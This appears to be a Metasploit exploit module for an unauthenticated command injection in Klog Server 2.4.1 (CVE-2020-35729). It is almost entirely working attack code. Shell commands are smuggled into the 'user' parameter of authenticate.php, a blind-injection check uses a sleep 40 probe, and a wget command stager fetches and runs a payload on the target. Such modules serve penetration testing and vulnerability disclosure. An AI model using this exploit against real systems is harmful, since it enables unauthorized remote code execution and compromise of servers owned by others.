Klog Server Unauthenticated Command Injection Vulnerability

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info={})
    super(update_info(info,
                      'Name'           => 'Klog Server Unauthenticated Command Injection Vulnerability',
                      'Description'    => %q{
                        This module exploits an unauthenticated command injection vulnerability in Klog Server <= 2.4.1.
                        "user" parameter is executed via shell_exec() function without input validation.
                      },
                      'License'        => MSF_LICENSE,
                      'Author'         =>
                        [ 'B3KC4T', # Vulnerability discovery
                          'Metin Yunus Kandemir',  # Metasploit module
                        ],
                      'References'     =>
                        [
                          ['CVE', '2020-35729'],
                          ['URL', 'https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection']
                        ],

                      'DefaultOptions' =>
                        {
                          'HttpClientTimeout' => 2,
                        },
                      'Platform'       => [ 'unix', 'linux' ],
                      'Arch'           => [ ARCH_X64 ],
                      'Targets'        => [
                        ['Klog Server 2.4.1 (x64)', {
                          'Platform'    => 'linux',
                          'Arch'        => ARCH_X64,
                        }],
                      ],
                      'Privileged'      => false,
                      'DisclosureDate' => "2021-01-05",
                      'DefaultTarget'  => 0))
    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptString.new('TARGETURI', [true, 'The base path of the Klog Server', '/']),
      ]
    )
  end

  def filter_bad_chars(cmd)
    cmd.gsub!(/chmod \+x/, 'chmod 777')
    cmd.gsub!(/;/, " %0A ")
    cmd.gsub!(/ /, '+')
    cmd.gsub!(/\//, '%2F')

  end

  def execute_command(cmd, opts = {})
    command_payload = "unsafe+%22%26+#{filter_bad_chars(cmd)}%26%22"

    print_status("Sending stager payload...")
    uri = target_uri.path
    res= send_request_cgi({
                            'method'        => 'POST',
                            'uri'           => normalize_uri(uri, 'actions', 'authenticate.php'),
                            'encode_params' => false,
                            'vars_post'      => {
                              'user' => command_payload,
                              'pswd' => "inline"
                            }
                          })
    if res && res.code == 302
      print_error("The target is not vulnerable!")
    else
      print_good("The target is vulnerable!")
    end
  end

  def check
    uri = target_uri.path
    res= send_request_cgi({
                            'method'        => 'POST',
                            'uri'           => normalize_uri(uri, 'actions', 'authenticate.php'),
                            'encode_params' => false,
                            'vars_post'      => {
                              'user' => "unsafe+%22%26sleep+40%26%22", #checking blind command injection via sleep
                              'pswd' => "inline"
                            }
                          })
    if res && res.code == 302
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Vulnerable
    end
  end

  def exploit
    print_status("Exploiting...")
    execute_cmdstager(flavor: :wget, delay: 10)
  end
end